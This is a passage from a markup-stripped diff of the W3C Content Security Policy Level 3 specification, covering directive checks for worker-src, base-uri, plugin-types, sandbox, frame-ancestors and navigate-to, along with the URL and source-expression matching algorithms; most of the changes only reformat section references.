                      If the result of executing § 6.7.4 Should fetch directive execute on name, worker-src and policy is "No", return "Allowed".

                      +
                    6. +

                      If the result of executing § 6.6.2.3 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    7. +
                    8. Return "Allowed".

                    6.1.17.2. worker-src Post-request Check

                    This directive’s post-request check is as follows:

                    Given a request (request), a response (response), and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, worker-src and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.2.4 Does response to request match source list? on response, request, this directive’s value, +

                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, worker-src and policy is "No", return "Allowed".

                      +
                    6. +

                      If the result of executing § 6.6.2.4 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    7. +
                    8. Return "Allowed".

                    6.2. Document Directives

                    The following directives govern the properties of a document or worker environment to which a policy applies.

                    6.2.1. base-uri

                    -

                    The base-uri directive restricts the URLs which can be used in +

                    The base-uri directive restricts the URLs which can be used in a Document's base element. The syntax for the directive’s name and value is described by the following ABNF:

                    directive-name  = "base-uri"
                     directive-value = serialized-source-list
                     

                    The following algorithm is called during HTML’s set the frozen base url algorithm in order to monitor and enforce this directive:

                    -
                    6.2.1.1. Is base allowed for document?
                    +
                    6.2.1.1. Is base allowed for document?

                    Given a URL (base), and a Document (document), this algorithm returns "Allowed" if base may be used as the value of a base element’s href attribute, and "Blocked" otherwise:

                      -
                    1. +
                    2. For each policy in document’s global object’s csp list:

                        -
                      1. +
                      2. Let source list be null.

                        -
                      3. +
                      4. If a directive whose name is "base-uri" is present in policy’s directive set, set source list to that directive’s value.

                        -
                      5. +
                      6. If source list is null, skip to the next policy.

                        -
                      7. -

                        If the result of executing §6.6.2.5 Does url match source list in origin with redirect count? on base, source list, policy’s self-origin, and 0 is "Does Not Match":

                        +
                      8. +

                        If the result of executing § 6.6.2.5 Does url match source list in origin with redirect count? on base, source list, policy’s self-origin, and 0 is "Does Not Match":

                          -
                        1. -

                          Let violation be the result of executing §2.4.1 Create a violation object for global, policy, and directive on document’s global +

                        2. +

                          Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on document’s global object, policy, and "base-uri".

                          -
                        3. +
                        4. Set violation’s resource to "inline".

                          -
                        5. -

                          Execute §5.3 Report a violation on violation.

                          -
                        6. +
                        7. +

                          Execute § 5.3 Report a violation on violation.

                          +
                        8. If policy’s disposition is "enforce", return "Blocked".

                      Note: We compare against the fallback base URL in order to deal correctly with things like an iframe srcdoc Document which has been sandboxed into an opaque origin.

                      -
                    3. +
                    4. Return "Allowed".

                    6.2.2. plugin-types

                    -

                    The plugin-types directive restricts the set of plugins that +

                    The plugin-types directive restricts the set of plugins that can be embedded into a document by limiting the types of resources which can be loaded. The directive’s syntax is described by the following ABNF grammar:

                    directive-name  = "plugin-types"
                     directive-value = media-type-list
                     
                    -media-type-list = "" / media-type *( required-ascii-whitespace media-type )
                    -media-type = type "/" subtype
                    +media-type-list = "" / media-type *( required-ascii-whitespace media-type )
                    +media-type = type "/" subtype
                     ; type and subtype are defined in RFC 2045
                     

                    If a plugin-types directive is present, instantiation of an embed or object element will fail if any of the following conditions hold:

                      -
                    1. +
                    2. The element does not explicitly declare a valid MIME type via a type attribute.

                      -
                    3. +
                    4. The declared type does not match one of the items in the directive’s value.

                      -
                    5. +
                    6. The fetched resource does not match the declared type.

                    Note: The plugin-types grammar allows for an empty directive value in which case all instantions of embed and object will fail.

                    -
                    - Given a page with the following Content Security Policy: +
                    + Given a page with the following Content Security Policy:
                    Content-Security-Policy: plugin-types application/pdf
                     

                    Fetches for the following code will all return network errors:

                    -
                    <!-- No 'type' declaration -->
                    -<object data="https://example.com/flash"></object>
                    +
                    <!-- No 'type' declaration -->
                    +<object data="https://example.com/flash"></object>
                     
                    -<!-- Non-matching 'type' declaration -->
                    -<object data="https://example.com/flash" type="application/x-shockwave-flash"></object>
                    +<!-- Non-matching 'type' declaration -->
                    +<object data="https://example.com/flash" type="application/x-shockwave-flash"></object>
                     
                    -<!-- Non-matching resource -->
                    -<object data="https://example.com/flash" type="application/pdf"></object>
                    +<!-- Non-matching resource -->
                    +<object data="https://example.com/flash" type="application/pdf"></object>
                     

                    If the page allowed Flash content by sending the following header:

                    Content-Security-Policy: plugin-types application/x-shockwave-flash
                     

                    Then the second item above would load successfully:

                    -
                    <!-- Matching 'type' declaration and resource -->
                    -<object data="https://example.com/flash" type="application/x-shockwave-flash"></object>
                    +
                    <!-- Matching 'type' declaration and resource -->
                    +<object data="https://example.com/flash" type="application/x-shockwave-flash"></object>
                     
                    -
                    6.2.2.1. plugin-types Post-Request Check
                    +
                    6.2.2.1. plugin-types Post-Request Check

                    This directive’s post-request check algorithm is as follows:

                    Given a request (request), a response (response), and a policy (policy):

                      -
                    1. +
                    2. Assert: policy is unused.

                      -
                    3. +
                    4. If request’s destination is either "object" or "embed":

                        -
                      1. +
                      2. Let type be the result of extracting a MIME type from response’s header list.

                        -
                      3. +
                      4. If type is not an ASCII case-insensitive match for any item in this directive’s value, return "Blocked".

                      -
                    5. +
                    6. Return "Allowed".

                    6.2.2.2. Should plugin element be blocked a priori by Content - Security Policy?:
                    + Security Policy?:" data-dfn-type="dfn" data-export data-level="6.2.2.2" data-lt="Should plugin element be blocked a priori by Content Security Policy?:" id="should-plugin-element-be-blocked-a-priori-by-content-security-policy">6.2.2.2. Should plugin element be blocked a priori by Content + Security Policy?:

                    Given an Element (plugin element), this algorithm returns "Blocked" or "Allowed" based on the element’s type attribute and the policy applied to its document:

                      -
                    1. +
                    2. For each policy in plugin element’s node document’s CSP list:

                        -
                      1. +
                      2. If policy contains a directive (directive) whose name is plugin-types:

                          -
                        1. -

                          Let type be "application/x-java-applet" if plugin element is an applet element, or plugin element’s type attribute’s +

                        2. +

                          Let type be "application/x-java-applet" if plugin element is an applet element, or plugin element’s type attribute’s value if present, or "null" otherwise.

                          -
                        3. +
                        4. Return "Blocked" if any of the following are true:

                            -
                          1. +
                          2. type is null.

                            -
                          3. +
                          4. type is not a valid MIME type.

                            -
                          5. +
                          6. type is not an ASCII case-insensitive match for any item in directive’s value.

                      -
                    3. +
                    4. Return "Allowed".

                    6.2.3. sandbox

                    -

                    The sandbox directive specifies an HTML sandbox policy which the +

                    The sandbox directive specifies an HTML sandbox policy which the user agent will apply to a resource, just as though it had been included in an iframe with a sandbox property.

                    The directive’s syntax is described by the following ABNF grammar, with @@ -4355,16 +4817,16 @@

                    Given a request (request), a response (response), and a policy (policy):

                      -
                    1. +
                    2. Assert: response is unused.

                      -
                    3. +
                    4. If policy’s disposition is not "enforce", then return "Allowed".

                      -
                    5. +
                    6. If request’s destination is one of "serviceworker", "sharedworker", or "worker":

                        -
                      1. +
                      2. If the result of the Parse a sandboxing directive algorithm using this directive’s value as the input contains either the sandboxed scripts browsing context flag or @@ -4373,7 +4835,7 @@

                        Note: This will need to change if we allow Workers to be sandboxed into unique origins, which seems like a pretty reasonable thing to do.

                      -
                    7. +
                    8. Return "Allowed".

                    6.2.3.2. sandbox Initialization
                    @@ -4382,19 +4844,19 @@

                    Given a Document or global object (context), a response (response), and a policy (policy):

                      -
                    1. +
                    2. Assert: response is unused.

                      -
                    3. +
                    4. If policy’s disposition is not "enforce", or context is not a Document, then abort this algorithm.

                      Note: This will need to change if we allow Workers to be sandboxed, which seems like a pretty reasonable thing to do.

                      -
                    5. +
                    6. Parse a sandboxing directive using this directive’s value as the input, and context’s forced sandboxing flag set as the output.

                    6.3. Navigation Directives

                    6.3.1. form-action

                    -

                    The form-action directive restricts the URLs which can be used +

                    The form-action directive restricts the URLs which can be used as the target of a form submissions from a given context. The directive’s syntax is described by the following ABNF grammar:

                    directive-name  = "form-action"
                    @@ -4406,65 +4868,65 @@ 
                    Allowed" otherwise. This constitutes the form-action directive’s pre-navigation check:

                      -
                    1. +
                    2. Assert: policy is unused in this algorithm.

                      -
                    3. +
                    4. If navigation type is "form-submission":

                        -
                      1. -

                        If the result of executing §6.6.2.3 Does request match source list? on request, this directive’s value, and a policy, is "Does Not Match", return "Blocked".

                        +
                      2. +

                        If the result of executing § 6.6.2.3 Does request match source list? on request, this directive’s value, and a policy, is "Does Not Match", return "Blocked".

                      -
                    5. +
                    6. Return "Allowed".

                    6.3.2. frame-ancestors

                    -

                    The frame-ancestors directive restricts the URLs which can - embed the resource using frame, iframe, object, embed, or applet element. Resources can use this directive to avoid many UI +

                    The frame-ancestors directive restricts the URLs which can + embed the resource using frame, iframe, object, embed, or applet element. Resources can use this directive to avoid many UI Redressing [UISECURITY] attacks, by avoiding the risk of being embedded into potentially hostile contexts.

                    The directive’s syntax is described by the following ABNF grammar:

                    directive-name  = "frame-ancestors"
                     directive-value = ancestor-source-list
                     
                    -ancestor-source-list = ( ancestor-source *( required-ascii-whitespace ancestor-source) ) / "'none'"
                    -ancestor-source      = scheme-source / host-source / "'self'"
                    +ancestor-source-list = ( ancestor-source *( required-ascii-whitespace ancestor-source) ) / "'none'"
                    +ancestor-source      = scheme-source / host-source / "'self'"
                     

                    The frame-ancestors directive MUST be ignored when contained in a policy declared via a meta element.

                    Note: The frame-ancestors directive’s syntax is similar to a source list, but frame-ancestors will not fall back to the default-src directive’s value if one is specified. That is, a policy that declares default-src 'none' will still allow the resource to be embedded by anyone.

                    6.3.2.1. frame-ancestors Navigation Response Check
                    -

                    Given a request (request), a string navigation type ("form-submission" or "other"), a response (navigation response) a browsing context (target), +

                    Given a request (request), a string navigation type ("form-submission" or "other"), a response (navigation response) a browsing context (target), a string check type ("source" or "response"), and a policy (policy) this algorithm returns "Blocked" if one or more of the ancestors of target violate the frame-ancestors directive delivered with the response, and "Allowed" otherwise. This constitutes the frame-ancestors directive’s navigation response check:

                      -
                    1. +
                    2. Assert: request, navigation response, and navigation type, are unused in this algorithm, as frame-ancestors is concerned only with navigation response’s frame-ancestors directive.

                      -
                    3. +
                    4. If check type is "source", return "Allowed".

                      -

                      Note: The 'frame-ancestors' directive is relevant only to the target browsing context and it has no impact on the request’s +

                      Note: The 'frame-ancestors' directive is relevant only to the target browsing context and it has no impact on the request’s context.

                      -
                    5. +
                    6. If target is not a nested browsing context, return "Allowed".

                      -
                    7. +
                    8. Let current be target.

                      -
                    9. +
                    10. While current is a nested browsing context:

                        -
                      1. -

                        Let document be the Document that current is nested through.

                        -
                      2. -

                        Let origin be the result of executing the URL parser on the ASCII serialization of document’s origin.

                        -
                      3. -

                        If §6.6.2.5 Does url match source list in origin with redirect count? returns Does Not Match when +

                      4. +

                        Let document be the Document that current is nested through.

                        +
                      5. +

                        Let origin be the result of executing the URL parser on the ASCII serialization of document’s origin.

                        +
                      6. +

                        If § 6.6.2.5 Does url match source list in origin with redirect count? returns Does Not Match when executed upon origin, this directive’s value, policy’s self-origin, and 0, return "Blocked".

                        -
                      7. -

                        Set current to document’s browsing context.

                        +
                      8. +

                        Set current to document’s browsing context.

                      -
                    11. +
                    12. Return "Allowed".

                    6.3.2.2. Relation to X-Frame-Options
                    @@ -4474,14 +4936,14 @@

                    6.3.3. navigate-to

                    -

                    The navigate-to directive restricts the URLs to which +

                    The navigate-to directive restricts the URLs to which a document can initiate navigations by any means (a, form, window.location, window.open, etc.). This is an enforcement on what navigations this document initiates not on what this document is allowed to navigate to. If the form-action directive is present, the navigate-to directive will not act on navigations that are form submissions.

                    -
                    - A document initiator has the following Content-Security-Policy: +
                    + A document initiator has the following Content-Security-Policy:
                    Content-Security-Policy: navigate-to example.com
                     

                    A document target has the following Content-Security-Policy:

                    @@ -4502,61 +4964,61 @@
                    Allowed" otherwise. This constitutes the navigate-to' directive’s pre-navigation check:

                      -
                    1. +
                    2. If navigation type is "form-submission" and policy contains a directive named "form-action", return "Allowed".

                      -
                    3. +
                    4. If this directive’s value contains a source expression that is an ASCII case-insensitive match for the "'unsafe-allow-redirects'" keyword-source, return "Allowed".

                      Note: If the 'unsafe-allow-redirects' flag is present we have to - wait for the response and take into account the response’s status in §6.3.3.2 navigate-to Navigation Response Check.

                      -
                    5. -

                      If the result of executing §6.6.2.3 Does request match source list? on request, this directive’s value, and policy, + wait for the response and take into account the response’s status in § 6.3.3.2 navigate-to Navigation Response Check.

                      +
                    6. +

                      If the result of executing § 6.6.2.3 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    7. +
                    8. Return "Allowed".

                    Given a request (request), a string navigation type ("form-submission" or "other"), a response (navigation response) - a browsing context (target), a string check type ("source" or "response"), and a policy (policy), this + a browsing context (target), a string check type ("source" or "response"), and a policy (policy), this algorithm returns "Blocked" if the navigation violates the navigate-to directive’s constraints, and "Allowed" otherwise. This constitutes the navigate-to directive’s navigation response check:

                      -
                    1. +
                    2. Assert: target is unused.

                      -
                    3. +
                    4. If check type is "response", return "Allowed".

                      -

                      Note: The 'navigate-to' directive is relevant only to the request’s context and it has no impact on the target browsing context.

                      -
                    5. +

                      Note: The 'navigate-to' directive is relevant only to the request’s context and it has no impact on the target browsing context.

                      +
                    6. If navigation type is "form-submission" and policy contains a directive named "form-action", return "Allowed".

                      -
                    7. +
                    8. If this directive’s value does not contain a source expression that is an ASCII case-insensitive match for the "'unsafe-allow-redirects'" keyword-source, return "Allowed".

                      Note: If the 'unsafe-allow-redirects' flag is not present we have - already checked the navigation in §6.3.3.1 navigate-to Pre-Navigation Check.

                      -
                    9. + already checked the navigation in § 6.3.3.1 navigate-to Pre-Navigation Check.

                      +
                    10. If navigation response’s status is a redirect status, return "Allowed".

                      -
                    11. -

                      If the result of executing §6.6.2.3 Does request match source list? on request, this directive’s value, and policy, +

                    12. +

                      If the result of executing § 6.6.2.3 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    13. +
                    14. Return "Allowed".

                    6.4. Reporting Directives

                    Various algorithms in this document hook into the reporting process by - constructing a violation object via §2.4.2 Create a violation object for request, and policy. or §2.4.1 Create a violation object for global, policy, and directive, and passing that object to §5.3 Report a violation to deliver the report.

                    + constructing a violation object via § 2.4.2 Create a violation object for request, and policy. or § 2.4.1 Create a violation object for global, policy, and directive, and passing that object to § 5.3 Report a violation to deliver the report.

                    6.4.1. report-uri

                    Note: The report-uri directive is deprecated. Please use the report-to directive instead. If the latter directive is present, this directive will be ignored. To ensure backwards compatibility, we suggest specifying both, like this: -
                    - +
                    +
                    Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname
                     
                    -

                    The report-uri directive defines a set of endpoints to which violation reports will be sent when particular behaviors are prevented.

                    +

                    The report-uri directive defines a set of endpoints to which violation reports will be sent when particular behaviors are prevented.

                    directive-name  = "report-uri"
                     directive-value = uri-reference *( required-ascii-whitespace uri-reference )
                     
                    @@ -4565,9 +5027,9 @@ 

                    The directive has no effect in and of itself, but only gains meaning in combination with other directives.

                    6.4.2. report-to

                    -

                    The report-to directive defines a reporting +

                    The report-to directive defines a reporting group to which violation reports ought to be sent [REPORTING]. The - directive’s behavior is defined in §5.3 Report a violation. The directive’s name + directive’s behavior is defined in § 5.3 Report a violation. The directive’s name and value are described by the following ABNF:

                    directive-name  = "report-to"
                     directive-value = token
                    @@ -4577,11 +5039,11 @@ 

                    Extensions to CSP MUST register themselves via the process outlined in [RFC7762]. In particular, note the criteria discussed in Section 4.2 of @@ -4595,58 +5057,58 @@

                    request (request), a directive (directive), and a policy (policy):

                      -
                    1. +
                    2. If request’s destination is script-like:

                        -
                      1. -

                        If the result of executing §6.6.2.2 Does nonce match source list? on request’s cryptographic nonce metadata and this +

                      2. +

                        If the result of executing § 6.6.2.2 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".

                        -
                      3. +
                      4. Let integrity expressions be the set of source expressions in directive’s value that match the hash-source grammar.

                        -
                      5. +
                      6. If integrity expressions is not empty:

                          -
                        1. +
                        2. Let integrity sources be the result of executing the algorithm - defined in Subresource Integrity §parse-metadata on request’s integrity metadata. [SRI]

                          -
                        3. + defined in SRI §3.3.3 Parse metadata. on request’s integrity metadata. [SRI]

                          +
                        4. If integrity sources is "no metadata" or an empty set, skip the remaining substeps.

                          -
                        5. +
                        6. Let bypass due to integrity match be true.

                          -
                        7. +
                        8. For each source in integrity sources:

                            -
                          1. +
                          2. If directive’s value does not - contain a source expression whose hash-algorithm is a case-sensitive match - for source’s hash-algo component, and whose base64-value is a case-sensitive match + contain a source expression whose hash-algorithm is a case-sensitive match + for source’s hash-algo component, and whose base64-value is a case-sensitive match for source’s base64-value, then set bypass due to integrity match to false.

                          -
                        9. +
                        10. If bypass due to integrity match is true, return "Allowed".

                        Note: Here, we verify only that the request contains a set of integrity metadata which is a subset of the hash-source source expressions specified by directive. We rely on the browser’s enforcement of Subresource Integrity [SRI] to block non-matching resources upon response.

                        -
                      7. +
                      8. If directive’s value contains a source expression that is an ASCII case-insensitive match for the "'strict-dynamic'" keyword-source:

                          -
                        1. -

                          If the request’s parser metadata is "parser-inserted", return "Blocked".

                          +
                        2. +

                          If the request’s parser metadata is "parser-inserted", return "Blocked".

                          Otherwise, return "Allowed".

                          Note: "'strict-dynamic'" is explained in more detail - in §8.2 Usage of "'strict-dynamic'".

                          + in § 8.2 Usage of "'strict-dynamic'".

                        -
                      9. -

                        If the result of executing §6.6.2.3 Does request match source list? on request, directive’s value, and policy, +

                      10. +

                        If the result of executing § 6.6.2.3 Does request match source list? on request, directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    3. +
                    4. Return "Allowed".

                    6.6.1.2. Script directives post-request check
                    @@ -4654,22 +5116,22 @@
                    request (request), a response (response), a directive (directive), and a policy (policy):

                      -
                    1. +
                    2. If request’s destination is script-like:

                        -
                      1. -

                        If the result of executing §6.6.2.2 Does nonce match source list? on request’s cryptographic nonce metadata and this +

                      2. +

                        If the result of executing § 6.6.2.2 Does nonce match source list? on request’s cryptographic nonce metadata and this directive’s value is "Matches", return "Allowed".

                        -
                      3. +
                      4. If directive’s value contains - "'strict-dynamic'", and request’s parser metadata is not "parser-inserted", + "'strict-dynamic'", and request’s parser metadata is not "parser-inserted", return "Allowed".

                        -
                      5. -

                        If the result of executing §6.6.2.4 Does response to request match source list? on response, request, directive’s value, +

                      6. +

                        If the result of executing § 6.6.2.4 Does response to request match source list? on response, request, directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    3. +
                    4. Return "Allowed".

                    6.6.2. URL Matching

                    @@ -4678,17 +5140,17 @@
                    directive if the request violates the policy, and "Does Not Violate" otherwise.

                      -
                    1. +
                    2. Let violates be "Does Not Violate".

                      -
                    3. +
                    4. For each directive in policy:

                        -
                      1. +
                      2. Let result be the result of executing directive’s pre-request check on request and policy.

                        -
                      3. +
                      4. If result is "Blocked", then let violates be directive.

                      -
                    5. +
                    6. Return violates.

                    6.6.2.2. Does nonce match source list?
                    @@ -4696,124 +5158,124 @@
                    Matches" if the nonce matches one or more source expressions in the list, and "Does Not Match" otherwise:

                      -
                    1. +
                    2. Assert: source list is not null.

                      -
                    3. +
                    4. If nonce is the empty string, return "Does Not Match".

                      -
                    5. +
                    6. For each expression in source list:

                        -
                      1. +
                      2. If expression matches the nonce-source grammar, - and nonce is a case-sensitive match for expression’s base64-value part, return "Matches".

                        + and nonce is a case-sensitive match for expression’s base64-value part, return "Matches".

                      -
                    7. +
                    8. Return "Does Not Match".

                    6.6.2.3. Does request match source list?

                    Given a request (request), a source list (source list), - and a policy (policy), this algorithm returns the result of executing §6.6.2.5 Does url match source list in origin with redirect count? on request’s current url, source list, policy’s self-origin, and request’s redirect count.

                    + and a policy (policy), this algorithm returns the result of executing § 6.6.2.5 Does url match source list in origin with redirect count? on request’s current url, source list, policy’s self-origin, and request’s redirect count.

                    Note: This is generally used in directives' pre-request check algorithms to verify that a given request is reasonable.

                    6.6.2.4. Does response to request match source list?

                    Given a request (request), and a source list (source list), - and a policy (policy), this algorithm returns the result of executing §6.6.2.5 Does url match source list in origin with redirect count? on response’s url, source list, policy’s self-origin, and request’s redirect count.

                    + and a policy (policy), this algorithm returns the result of executing § 6.6.2.5 Does url match source list in origin with redirect count? on response’s url, source list, policy’s self-origin, and request’s redirect count.

                    Note: This is generally used in directives' post-request check algorithms to verify that a given response is reasonable.

                    6.6.2.5. Does url match source list in origin with redirect count?
                    -

                    Given a URL (url), a source list (source list), an origin (origin), and a number (redirect count), this +

                    Given a URL (url), a source list (source list), an origin (origin), and a number (redirect count), this algorithm returns "Matches" if the URL matches one or more source expressions in source list, or "Does Not Match" otherwise:

                      -
                    1. +
                    2. Assert: source list is not null.

                      -
                    3. +
                    4. If source list is an empty list, return "Does Not Match".

                      -
                    5. +
                    6. If source list contains a single item which is an ASCII case-insensitive match for the string "'none'", return "Does Not Match".

                      Note: An empty source list (that is, a directive without a value: script-src, as opposed to script-src host1) is equivalent to a source list containing 'none', and will not match any URL.

                      -
                    7. +
                    8. For each expression in source list:

                        -
                      1. -

                        If §6.6.2.6 Does url match expression in origin with redirect count? returns "Matches" when +

                      2. +

                        If § 6.6.2.6 Does url match expression in origin with redirect count? returns "Matches" when executed upon url, expression, origin, and redirect count, return "Matches".

                      -
                    9. +
                    10. Return "Does Not Match".

                    6.6.2.6. Does url match expression in origin with redirect count?
                    -

                    Given a URL (url), a source expression (expression), an origin (origin), and a number (redirect count), this algorithm +

                    Given a URL (url), a source expression (expression), an origin (origin), and a number (redirect count), this algorithm returns "Matches" if url matches expression, and "Does Not Match" otherwise.

                    -

                    Note: origin is the origin of the resource relative to which the expression should be resolved. "'self'", for instance, will have distinct +

                    Note: origin is the origin of the resource relative to which the expression should be resolved. "'self'", for instance, will have distinct meaning depending on that bit of context.

                      -
                    1. +
                    2. If expression is the string "*", return "Matches" if one or more of the following conditions is met:

                        -
                      1. +
                      2. url’s scheme is a network scheme.

                        -
                      3. +
                      4. url’s scheme is the same as origin’s scheme.

                      Note: This logic means that in order to allow a resource from a non-network scheme, it has to be either explicitly specified (e.g. default-src * data: custom-scheme-1: custom-scheme-2:), or the protected resource must be loaded from the same scheme.

                      -
                    3. +
                    4. If expression matches the scheme-source or host-source grammar:

                        -
                      1. +
                      2. If expression has a scheme-part, and it does not scheme-part match url’s scheme, return "Does Not Match".

                        -
                      3. +
                      4. If expression matches the scheme-source grammar, return "Matches".

                      -
                    5. +
                    6. If expression matches the host-source grammar:

                        -
                      1. +
                      2. If url’s host is null, return "Does Not Match".

                        -
                      3. +
                      4. If expression does not have a scheme-part, and origin’s scheme does not scheme-part match url’s scheme, return "Does Not Match".

                        Note: As with scheme-part above, we allow schemeless host-source expressions to be upgraded from insecure schemes to secure schemes.

                        -
                      5. +
                      6. If expression’s host-part does not host-part match url’s host, return "Does Not Match".

                        -
                      7. +
                      8. Let port-part be expression’s port-part if present, and null otherwise.

                        -
                      9. +
                      10. If port-part does not port-part match url’s port and url’s scheme, return "Does Not Match".

                        -
                      11. +
                      12. If expression contains a non-empty path-part, and redirect count is 0, then:

                          -
                        1. +
                        2. Let path be the resulting of joining url’s path on the U+002F SOLIDUS character (/).

                          -
                        3. +
                        4. If expression’s path-part does not path-part match path, return "Does Not Match".

                        -
                      13. +
                      14. Return "Matches".

                      -
                    7. +
                    8. If expression is an ASCII case-insensitive match for "'self'", return "Matches" if one or more of the following conditions is met:

                        -
                      1. +
                      2. origin is the same as url’s origin

                        -
                      3. +
                      4. origin’s host is the same as url’s host, origin’s port and url’s port are either the same or the default ports for their respective schemes, and one or more of the following conditions is met:

                          -
                        1. +
                        2. url’s scheme is "https" or "wss"

                          -
                        3. +
                        4. origin’s scheme is "http" and url’s scheme is "http" or "ws"

                      @@ -4823,35 +5285,35 @@
                      +
                    9. Return "Does Not Match".

                    6.6.2.7. scheme-part matching
                    -

                    An ASCII string scheme-part matches another ASCII string if a CSP source expression that contained the first as a scheme-part could potentially match a URL containing the latter as a scheme. For example, we say that "http" scheme-part matches "https".

                    +

                    An ASCII string scheme-part matches another ASCII string if a CSP source expression that contained the first as a scheme-part could potentially match a URL containing the latter as a scheme. For example, we say that "http" scheme-part matches "https".

                    Note: The matching relation is asymmetric. For example, the source expressions https: and https://example.com/ do not match the URL http://example.com/. We always allow a secure upgrade from an explicitly insecure expression. script-src http: is treated as equivalent to script-src http: https:, script-src http://example.com to script-src http://example.com https://example.com, and connect-src ws: to connect-src ws: wss:.

                    More formally, two ASCII strings (A and B) are said to scheme-part match if the following algorithm returns "Matches":

                      -
                    1. +
                    2. If one of the following is true, return "Matches":

                        -
                      1. +
                      2. A is an ASCII case-insensitive match for B.

                        -
                      3. +
                      4. A is an ASCII case-insensitive match for "http", and B is an ASCII case-insensitive match for "https".

                        -
                      5. +
                      6. A is an ASCII case-insensitive match for "ws", and B is an ASCII case-insensitive match for "wss", "http", or "https".

                        -
                      7. +
                      8. A is an ASCII case-insensitive match for "wss", and B is an ASCII case-insensitive match for "https".

                      -
                    3. +
                    4. Return "Does Not Match".

                    6.6.2.8. host-part matching
                    -

                    An ASCII string host-part matches another ASCII +

                    An ASCII string host-part matches another ASCII string if a CSP source expression that contained the first as a host-part could potentially match a URL containing the latter as a host. For example, we say that "www.example.com" host-part matches "www.example.com".

                    @@ -4860,21 +5322,21 @@
                    Note: The matching relation is asymmetric. That is, A matching B does not mean that B will match A. For example, *.example.com host-part matches www.example.com, but www.example.com does not host-part match *.example.com.

                      -
                    1. +
                    2. If the first character of A is an U+002A ASTERISK character (*):

                        -
                      1. +
                      2. Let remaining be the result of removing the leading ("*") from A.

                        -
                      3. +
                      4. If remaining (including the leading U+002E FULL STOP character (.)) is an ASCII case-insensitive match for the rightmost characters of B, then return "Matches". Otherwise, return "Does Not Match".

                      -
                    3. +
                    4. If A is not an ASCII case-insensitive match for B, return "Does Not Match".

                      -
                    5. +
                    6. If A matches the IPv4address rule from [RFC3986], and is not "127.0.0.1"; or if A is an IPv6 address, return "Does Not Match".

                      @@ -4883,109 +5345,109 @@
                      -
                    7. +
                    8. Return "Matches".

                    6.6.2.9. port-part matching
                    -

                    An ASCII string (port A) port-part matches two other ASCII +

                    An ASCII string (port A) port-part matches two other ASCII strings (port B and scheme B) if a CSP source expression that contained the first as a port-part could potentially match a URL containing the latter as port and scheme. For example, "80" port-part matches matches "80"/"http".

                      -
                    1. +
                    2. If port A is empty:

                        -
                      1. +
                      2. If port B is the default port for scheme B, return "Matches". Otherwise, return "Does Not Match".

                      -
                    3. +
                    4. If port A is equal to "*", return "Matches".

                      -
                    5. -

                      If port A is a case-sensitive match for port B, return "Matches".

                      -
                    6. +
                    7. +

                      If port A is a case-sensitive match for port B, return "Matches".

                      +
                    8. If port B is empty:

                        -
                      1. +
                      2. If port A is the default port for scheme B, return "Matches". Otherwise, return "Does not Match".

                      -
                    9. +
                    10. Return "Does Not Match".

                    6.6.2.10. path-part matching
                    -

                    An ASCII string (path A) path-part matches another ASCII string (path B) if a CSP source expression that contained the first as a path-part could potentially match a URL containing the latter as a path. +

                    An ASCII string (path A) path-part matches another ASCII string (path B) if a CSP source expression that contained the first as a path-part could potentially match a URL containing the latter as a path. For example, we say that "/subdirectory/" path-part matches "/subdirectory/file".

                    Note: The matching relation is asymmetric. That is, path A matching path B does not mean that path B will match path A.

                      -
                    1. +
                    2. If path A is empty, return "Matches".

                      -
                    3. +
                    4. If path A consists of one character that is equal to the U+002F SOLIDUS character (/) and path B is empty, return "Matches".

                      -
                    5. +
                    6. Let exact match be false if the final character of path A is the U+002F SOLIDUS character (/), and true otherwise.

                      -
                    7. +
                    8. Let path list A and path list B be the result of strictly splitting path A and path B respectively on the U+002F SOLIDUS character (/).

                      -
                    9. +
                    10. If path list A has more items than path list B, return "Does Not Match".

                      -
                    11. +
                    12. If exact match is true, and path list A does not have the same number of items as path list B, return "Does Not Match".

                      -
                    13. +
                    14. If exact match is false:

                        -
                      1. +
                      2. Assert: the final item in path list A is the empty string.

                        -
                      3. +
                      4. Remove the final item from path list A.

                      -
                    15. +
                    16. For each piece A in path list A:

                        -
                      1. +
                      2. Let piece B be the next item in path list B.

                        -
                      3. -

                        Percent decode piece A.

                        -
                      4. -

                        Percent decode piece B.

                        -
                      5. -

                        If piece A is not a case-sensitive match +

                      6. +

                        Percent decode piece A.

                        +
                      7. +

                        Percent decode piece B.

                        +
                      8. +

                        If piece A is not a case-sensitive match for piece B, return "Does Not Match".

                      -
                    17. +
                    18. Return "Matches".

                    6.6.3. Element Matching Algorithms

                    6.6.3.1. Is element nonceable?

                    Given an Element (element), this algorithm returns "Nonceable" if a nonce-source expression can match the element (as discussed - in §7.2 Nonce Hijacking), and "Not Nonceable" if such expressions + in § 7.2 Nonce Hijacking), and "Not Nonceable" if such expressions should not be applied.

                      -
                    1. +
                    2. If element does not have an attribute named "nonce", return "Not Nonceable".

                      -
                    3. +
                    4. If element is a script element, then for each attribute in element:

                        -
                      1. +
                      2. If attribute’s name is an ASCII case-insensitive match for the string "<script" or the string "<style", return "Not Nonceable".

                        -
                      3. +
                      4. If attribute’s value contains an ASCII case-insensitive match the string "<script" or the string "<style", return "Not Nonceable".

                      -
                    5. -

                      If element had a duplicate-attribute parse error during tokenization, return +

                    6. +

                      If element had a duplicate-attribute parse error during tokenization, return "Not Nonceable".

                      -

                      We need some sort of hook in HTML to record this error if we’re +

                      We need some sort of hook in HTML to record this error if we’re planning on using it here. <https://github.com/whatwg/html/issues/3257>

                      -
                    7. +
                    8. Return "Nonceable".

                    -

                    This processing is meant to mitigate the risk +

